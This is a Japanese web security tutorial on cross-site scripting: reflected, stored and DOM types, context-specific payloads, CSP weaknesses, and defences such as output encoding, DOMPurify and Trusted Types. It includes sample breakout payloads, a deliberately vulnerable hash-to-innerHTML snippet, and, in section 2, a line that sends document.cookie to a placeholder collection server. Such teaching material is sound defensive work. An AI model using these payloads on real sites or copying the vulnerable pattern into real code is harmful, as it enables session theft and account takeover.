メインコンテンツへスキップ
友田 陽大
実践Webハッキング技法
セキュリティ
ホワイトハッカー
XSS
脆弱性診断
Webセキュリティ

XSS攻撃の完全攻略【2026】反射・蓄積・DOM型/コンテキスト別ペイロード/CSP回避 — 公式ドキュメント忠実版

クロスサイトスクリプティング(XSS)の攻撃手法を、PortSwigger Web Security Academyに忠実に深掘り。反射型・蓄積型・DOM型の違いと検出、HTML/属性/JavaScript/URLの各コンテキストでのペイロードの作り分け、source→sinkで追うDOM型XSS、CSP(Content Security Policy)の役割と回避の考え方、そして文脈別の出力エンコードとTrusted Typesによる根本対策までを、自分のラボ限定の実例で解説します。

公開日
読了時間
7分
著者
友田 陽大
シェア

XSS(クロスサイトスクリプティング)は、被害者のブラウザで攻撃者のJavaScriptを実行させる脆弱性です。セッションの乗っ取り、資格情報の窃取、なりすまし操作——PortSwigger が言う通り「ユーザーとアプリの相互作用を丸ごと侵害」できます。本記事は、その攻撃手法を公式に忠実に、手を動かせる粒度で解説します。

絶対の前提: 全ペイロードは 合法ラボ または許可スコープでのみ。他人のサイトでの「ちょっと試す」も無許可なら違法になり得ます(→ 法律ガイド)。攻撃クラスの地図は ピラー を参照。


1. XSSの本質 — 出力コンテキストの無視

XSSは「入力の問題」だと誤解されがちですが、正確には出力の問題です。同じ "><script> でも、どこに出力されるかでエスケープ要件が変わります。

<!-- ① HTML本文に出る → タグとして解釈される -->
<div>こんにちは、[ここに出力]さん</div>

<!-- ② 属性値に出る → 属性を閉じてイベントハンドラを足せる -->
<input value="[ここに出力]">

<!-- ③ <script>内に出る → JS文字列を閉じてコードを足せる -->
<script>var name = "[ここに出力]";</script>

検出の第一歩は、xss1234 のような一意な文字列を入れて、レスポンスのどこに・どうエスケープされて出るかを確認すること。そこから文脈に応じた「ブレイクアウト」を組み立てます。


2. 反射型XSS(Reflected)

入力がそのリクエストのレスポンスに即座に反射されるケース。攻撃者は細工したURLを被害者に踏ませます。

# 検索パラメータがそのままHTML本文に反射される場合
https://lab.example/search?q=<script>alert(document.domain)</script>

実務では alert() ではなく影響の実証まで示します(PoC)。例えばセッションCookieを攻撃者サーバーへ送る——ただしこれは自分のlab/許可スコープでのみ

<script>new Image().src='https://<自分の検証用>/c?'+document.cookie</script>

3. 蓄積型XSS(Stored)— 最も影響が大きい

入力がDBに保存され、後で他のユーザーに表示されるときに発火します。コメント欄・プロフィール・商品レビューが定番の入口。

# レビュー本文に保存される
コメント: 素晴らしい商品です<script>/* 閲覧した全員のブラウザで実行 */</script>

反射型は「踏ませる」必要があるが、蓄積型は「見た全員」に発火します。管理画面に保存されれば、管理者のセッションを奪える。影響度が段違いなので、保存される全入力(特に管理者が見る画面)を必ずテストします。


4. DOM型XSS(DOM-based)— source から sink へ

サーバーを介さず、クライアントのJavaScriptが危険な処理をすることで起きます。データの流れ(source → sink)で追うのが鉄則です。

// 脆弱な例:URLのフラグメント(source)を innerHTML(sink)へ直接渡す
const q = location.hash.slice(1);        // source: 攻撃者が制御できる
document.getElementById("out").innerHTML = q;  // sink: HTMLとして解釈される
# 攻撃URL(# 以降はサーバーに送られず、クライアントだけで処理される)
https://lab.example/#<img src=x onerror=alert(document.domain)>
source(入力源)sink(危険な出力先)
location.hash / search / hrefinnerHTML / outerHTML
document.referrerdocument.write()
postMessage のdataeval() / Function()
localStoragejQuery $(...).html()

DOM型はサーバーのレスポンスに痕跡が出ないため、Burpのレスポンス検査だけでは見つかりません。Burpの DOM Invader のような、ブラウザ内でsource→sinkを追う仕組みが有効です。


5. コンテキスト別ペイロードの作り分け

「同じペイロードはどこでも効く」は誤りです。文脈に応じてブレイクアウトを設計します。

<!-- 属性値コンテキスト:属性を閉じてイベントを注入 -->
"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="

<!-- JS文字列コンテキスト:文字列とスクリプトを閉じる -->
</script><script>alert(1)</script>
'-alert(1)-'

<!-- HTMLタグが除去される環境:タグなしで発火 -->
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>

<script> がフィルタされても onerror/onload/ontoggle などのイベントハンドラで発火できる——だから「<script>だけ消す」ブラックリストは不完全だとわかります。PortSwigger の XSS cheat sheet が網羅的です。


6. CSP(Content Security Policy)— 最後の砦と、その回避

CSPは「どこからスクリプトを読み込み・実行してよいか」をブラウザに宣言する多層防御です。XSSを完全には防げませんが、被害を大幅に緩和します。

# 強いCSPの例:nonce + strict-dynamic(インラインも外部も原則禁止)
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'

逆に、弱いCSPは回避されます。代表的な穴:

  • 'unsafe-inline' を許可 → インラインスクリプトが通り、CSPがほぼ無意味化。
  • 緩いホスト許可(例:CDN全体やJSONPを返すドメイン)→ そこ経由でスクリプト実行。
  • base-uri 未設定 → <base> 注入で相対URLの読み込み先を乗っ取られる。

設計の教訓: CSPはnonceベース + strict-dynamicで組み、unsafe-inlineを使わない。Next.jsでの実装(middlewareでnonce発行)は セキュリティヘッダ/CSP実装ガイド で詳説しています。CSPは入力対策の代替ではなく、入力対策が破れたときの保険です。


7. 【守る側】根本対策 — 文脈別の出力エンコード

PortSwigger と OWASP XSS Prevention の結論は一致します。**「出力する文脈に応じた正しいエンコード」**が本筋です。

// ✅ React等のフレームワークは既定で文脈に応じてエスケープする
// → 自動エスケープを「外さない」のが最大の防御
function Comment({ text }: { text: string }) {
  return <div>{text}</div>; // {} 補間は自動でHTMLエスケープされる(安全)
}

// ⚠️ dangerouslySetInnerHTML はエスケープを外す = XSSの主要因
// 使うなら必ずサニタイズ(DOMPurify等)を通し、監査対象にする
function RichText({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html); // 許可タグだけ残す
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

設計原則を整理します。

  • HTML本文 → HTMLエンティティエンコード(<&lt;)。フレームワークの自動補間に任せる。
  • 属性値 → 属性コンテキスト用エンコード + 必ずクオートで囲む。
  • JavaScript → ユーザー入力を <script> 内に直接書かない。JSON.stringify 経由でデータ層に分離。
  • DOM操作innerHTML を避け textContent を使う。やむを得ず使うなら Trusted Types を導入。
  • URLjavascript: スキームを弾き、encodeURIComponent で。
  • 多層防御 → nonceベースCSP・HttpOnly Cookie(JSからセッションを読めなくする)。

Next.js × Supabase 環境での DOM XSS・dangerouslySetInnerHTML の具体的な検出と対策は 専用ガイド にまとめています。


8. まとめ

  • 本質は出力コンテキスト:同じ入力でもHTML本文/属性/JS/URLでエスケープ要件が違う。
  • 3類型:反射(踏ませる)・蓄積(見た全員・最大影響)・DOM(source→sink)。蓄積とDOMを見落とさない。
  • ブラックリストは破れる<script>を消してもonerror等で発火。
  • CSPは保険:nonce + strict-dynamic で組む。unsafe-inlineは禁。
  • 根本対策は文脈別エンコード:フレームワークの自動エスケープを外さない。innerHTMLよりtextContent

次は、サーバー自身を踏み台にする SSRF攻撃の完全攻略 へ。


参考(公式一次情報)

友田

友田 陽大

経済産業大臣賞 受賞プロダクト開発者。TypeScript + Python + AWS で、SaaS・業界DX・ 実用レベルの生成AI(RAG)を、要件定義からインフラ・運用まで一人で完遂します。

この攻撃、あなたのアプリで再現されたら?

Webアプリの脆弱性診断・ペネトレーションテストを承ります

この記事で扱った SQLi・XSS・SSRF・JWT・認証・SSTI といった攻撃を、あなたのアプリで実際に再現・診断し、設計から修正するところまで承ります。攻撃の手筋を知る者だけが、設計段階で『どこが破れるか』を先回りで潰せます。まず無料OSSで現状を可視化してからでも構いません。

プロジェクト単位(請負)・技術顧問のどちらにも対応可能です。まずは30分の無料技術相談から。

あわせて読みたい